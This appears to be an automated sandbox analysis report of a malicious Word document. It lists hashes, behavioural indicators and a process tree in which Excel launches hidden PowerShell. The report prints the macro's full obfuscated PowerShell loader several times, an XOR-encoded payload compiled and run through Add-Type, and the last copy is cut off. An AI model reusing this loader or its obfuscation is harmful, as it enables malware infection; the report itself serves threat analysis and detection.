ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
102s
max time network
118s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-11_235212.doc
Size

507KB
MD5

0f4cf7f9c8dd29eb29e61900cc6d6a2e
SHA1

92a777d5ff128410e7a6bfe08bf0b6c05348ef9b
SHA256

973e336a3a0b7e0a4f0596fc5f0e02a0b83817bb350581f4c7bf7f4b81fbdc01
SHA512

329f141dfef3789a5be77ff5cff3b4c246f02c63c2e1130fc81839fc49221626558537323bf4037aa8d735a2d85f3dc72e267289043dd42dbd345a34f5171ef9

Score

10^/10

Malware Config

Signatures

Office loads VBA resources, possible macro or embedded object present
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXE

pid process

1856 WINWORD.EXE
1856 WINWORD.EXE
1924 EXCEL.EXE
2036 EXCEL.EXE
924 EXCEL.EXE
1652 EXCEL.EXE
1472 EXCEL.EXE

pid	process
1856	WINWORD.EXE
1856	WINWORD.EXE
1924	EXCEL.EXE
2036	EXCEL.EXE
924	EXCEL.EXE
1652	EXCEL.EXE
1472	EXCEL.EXE

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

EXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEEXCEL.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsc.execsc.execsc.execsc.execsc.exe

description	pid	process	target process
PID 1924 wrote to memory of 1992	1924	EXCEL.EXE	powershell.exe
PID 1924 wrote to memory of 1992	1924	EXCEL.EXE	powershell.exe
PID 1924 wrote to memory of 1992	1924	EXCEL.EXE	powershell.exe
PID 2036 wrote to memory of 1292	2036	EXCEL.EXE	powershell.exe
PID 2036 wrote to memory of 1292	2036	EXCEL.EXE	powershell.exe
PID 2036 wrote to memory of 1292	2036	EXCEL.EXE	powershell.exe
PID 924 wrote to memory of 1588	924	EXCEL.EXE	powershell.exe
PID 924 wrote to memory of 1588	924	EXCEL.EXE	powershell.exe
PID 924 wrote to memory of 1588	924	EXCEL.EXE	powershell.exe
PID 1652 wrote to memory of 1064	1652	EXCEL.EXE	powershell.exe
PID 1652 wrote to memory of 1064	1652	EXCEL.EXE	powershell.exe
PID 1652 wrote to memory of 1064	1652	EXCEL.EXE	powershell.exe
PID 1472 wrote to memory of 1212	1472	EXCEL.EXE	powershell.exe
PID 1472 wrote to memory of 1212	1472	EXCEL.EXE	powershell.exe
PID 1472 wrote to memory of 1212	1472	EXCEL.EXE	powershell.exe
PID 1292 wrote to memory of 832	1292	powershell.exe	csc.exe
PID 1292 wrote to memory of 832	1292	powershell.exe	csc.exe
PID 1292 wrote to memory of 832	1292	powershell.exe	csc.exe
PID 1992 wrote to memory of 1100	1992	powershell.exe	csc.exe
PID 1992 wrote to memory of 1100	1992	powershell.exe	csc.exe
PID 1992 wrote to memory of 1100	1992	powershell.exe	csc.exe
PID 1064 wrote to memory of 1840	1064	powershell.exe	csc.exe
PID 1064 wrote to memory of 1840	1064	powershell.exe	csc.exe
PID 1064 wrote to memory of 1840	1064	powershell.exe	csc.exe
PID 1212 wrote to memory of 1316	1212	powershell.exe	csc.exe
PID 1212 wrote to memory of 1316	1212	powershell.exe	csc.exe
PID 1212 wrote to memory of 1316	1212	powershell.exe	csc.exe
PID 1588 wrote to memory of 1704	1588	powershell.exe	csc.exe
PID 1588 wrote to memory of 1704	1588	powershell.exe	csc.exe
PID 1588 wrote to memory of 1704	1588	powershell.exe	csc.exe
PID 832 wrote to memory of 1256	832	csc.exe	cvtres.exe
PID 832 wrote to memory of 1256	832	csc.exe	cvtres.exe
PID 832 wrote to memory of 1256	832	csc.exe	cvtres.exe
PID 1840 wrote to memory of 2032	1840	csc.exe	cvtres.exe
PID 1840 wrote to memory of 2032	1840	csc.exe	cvtres.exe
PID 1840 wrote to memory of 2032	1840	csc.exe	cvtres.exe
PID 1100 wrote to memory of 1944	1100	csc.exe	cvtres.exe
PID 1100 wrote to memory of 1944	1100	csc.exe	cvtres.exe
PID 1100 wrote to memory of 1944	1100	csc.exe	cvtres.exe
PID 1704 wrote to memory of 1236	1704	csc.exe	cvtres.exe
PID 1704 wrote to memory of 1236	1704	csc.exe	cvtres.exe
PID 1704 wrote to memory of 1236	1704	csc.exe	cvtres.exe
PID 1316 wrote to memory of 1980	1316	csc.exe	cvtres.exe
PID 1316 wrote to memory of 1980	1316	csc.exe	cvtres.exe
PID 1316 wrote to memory of 1980	1316	csc.exe	cvtres.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 1292 powershell.exe

flow	pid	process
3	1292	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	1064	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	1212	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

1992 powershell.exe
1588 powershell.exe
1292 powershell.exe
1064 powershell.exe
1212 powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1856 WINWORD.EXE

pid	process
1992	powershell.exe
1588	powershell.exe
1292	powershell.exe
1064	powershell.exe
1212	powershell.exe

pid	process
1856	WINWORD.EXE

Process spawned unexpected child process 5 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1992	1924	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1292	2036	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1588	924	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1064	1652	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1212	1472	powershell.exe	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1856 WINWORD.EXE
1856 WINWORD.EXE

pid	process
1856	WINWORD.EXE
1856	WINWORD.EXE

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-11_235212.doc"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
PID:1856

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:1992

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v4kjbsfi\v4kjbsfi.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1100

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD48D.tmp" "c:\Users\Admin\AppData\Local\Temp\v4kjbsfi\CSC4808152BCE242B8AF12864CE184F6F1.TMP"
4⤵
PID:1944

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
2⤵
- Suspicious use of WriteProcessMemory
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:1292

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2lci2om\z2lci2om.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD44E.tmp" "c:\Users\Admin\AppData\Local\Temp\z2lci2om\CSC5F11DD37DDFC406D817188B2E3B88C62.TMP"
4⤵
PID:1256

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:1588

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yub3psxh\yub3psxh.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1704

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD48F.tmp" "c:\Users\Admin\AppData\Local\Temp\yub3psxh\CSC69180E8892DA4F8BA7B0D2889CC8ED47.TMP"
4⤵
PID:1236

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d192b561c61421444005a50070150535f4a0e030e524c0d5d0a570e05574e4d5e060350574a1a5a0803055057080e02015655570158070155505108580104565356594a181f5d0d04100a530e5053540f550c7f0810324c1a1f6c03160d11135659120b42575005055f5d500315647f0810324c1a11515057500a5519632f0a16681c431f535f17510645160e065b0b5e07025b5459510e1917075755010b1954045c540f5e061a0152510a5a1d061e505214074442460c00015b0700524d4b430f5e4209440d005c020f5f5659452a4842033f3f180e005055075f43584905574852400e571a561c5b08150a7f0810324c1a114c02005b0e557c5714170a59041f770a080d5b20765a0906035440021f5d29034a1b59570a4a215718481e0055040b0b1d064a1e065c51071a554d594e5b095000525110065441462d0c4c3845444e0600005e0600514a3657215f4250504a1143014e5654535a411d4c02005b0e44021f5d0b5a0c5b080f545e426f0d53750a0d07561c11505055570e555f531144355d0a725a0f010c4c40180d151010510656160e50070b5f0c7308120b4a075f5b030a16162f5442200b0e5c0d436607100a102d5f400f160d56055458124a31480d525f07082457045553144a2348185d5f05051651075f720710031143136a3a13010b5b0304444f170e5f0400554c400c5e04025201520b4a180d0052530d5e1f7209130c54075052200d0e5d4044005151540b4013065650570c5a00005301565c5906035f54530859050e53515759580002505452085e050e5351570f5809025151560d59050f5307570d5801035e545a085a050e565553595d55144f480a0c0d02014f5f324a0752531517314c0943422f0a045748530e5f50030f555f531144324a0752531517314c0943422f0a0457405902035755115361440907074b1b1f651205104c40530e5f50030f410a440310174a0611065d19124d0a5d5f0544114c09455f0544114c1a58580144170e5f0400554c114c1a58580144145d0b0302514d194b1c435f080342560b53570759405059075002065a1a534242140d0c5f4849520300035e556242140d0c5f46745b16101b030e5e444e0d0c4c48580b565f0b041e54555450551624545801100a03011a0b544d195a1145534616040a50050b250b0c4e0d434248300d7a1145534e12075b5a05014837175a1b45440f0a0510011d044f48530e410a4e020106590e1a0b4e070a591a181e140250005c1168460a015a09506d4e0d4d0a411113460a015a0950182a010c5f1c596b4f5f1f4a0d4543140a42400c54520702594515'; $o67cb42 = u67563($o67cb4); Add-Type -TypeDefinition $o67cb42; [n37bb7b]::q354b7();
2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:1064

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sjruvkjm\sjruvkjm.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD46D.tmp" "c:\Users\Admin\AppData\Local\Temp\sjruvkjm\CSC311FE7EE8C8F477FABF58332C45C3FD.TMP"
4⤵
PID:2032

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden function u67563 {param($u4529)$pb5b6='h16fdb8';$p349fdb='';for ($i=0; $i -lt $u4529.length;$i+=2){$x2cdd91=[convert]::ToByte($u4529.Substring($i,2),16);$p349fdb+=[char]($x2cdd91 -bxor $pb5b6[($i/2)%$pb5b6.length]);}return $p349fdb;} $o67cb4 = '1d425f0803426b1142420309594d1b5858014431411b45530b4a304d06455f0b014c71064553140b126b0d43400f07074b5344450f0a05183b484512010f162c5857010a0d4b1c5855155f174b015f5146371b4b1c545b482d2d031d425f0803426b11424203094c760d450d6b6e124d0a5d5f05440154094245460a510f0a5301041f397c045d7f0b140d4a1c19140d0110560d5d0554464e7d0645441f340d5106450b4423074c3843590525065c1a544515464b6548414304080b5b48424207100b5b48544e120110564878581234164a484350545c5610215f423610101806525407054e4b1c435f080342420c070253070311536a720a082b55185e44124c40530d43580308510a4a1d16230a164a1161590f0a16185511142a0b035c245854140510414a186b4614175a045855461716591c585546011a4c0d4358462d0c4c384544461c065d0c50504e17164a015f514611075d0e021f5d3f265404785b160b104c40135d03160c5d0402044448427d0645441f340d5106450b44320b4a1c44570a3410571c545512464b6548414304080b5b48424207100b5b48544e12011056485359090842595b060f054c2b561c61421444150b5d030253554e6d215f42361010180c52505451065e4411430f0a16181102000455570e4411591310424d015f42461603015c030e4f5f397c045d7f0b140d4a1c19142d0110560d5d05544a065404131a46210c4c1a4866090d0c4c55136412082f571e547b03090d4a11131a4637074c2450451221104a07430b00050e4b0d186b461716591c585546011a4c0d435846120d510c1140555c045e5e021e2f0a16681c43160401540a5c1d7f0810324c1a115b0001530b591d5f0810424b0c0300004d59481d535a0f07424b1c50420f0742510645161757570c0a061e4f1f2b561c614214440d5d0a570e055742054849520300035e4044005151540b4013065f51010c5d01505205520e5d050652464b115358504e0b075a0e095555595f7106456612164c620d43594f1f05571c5e16095c560b5108045d1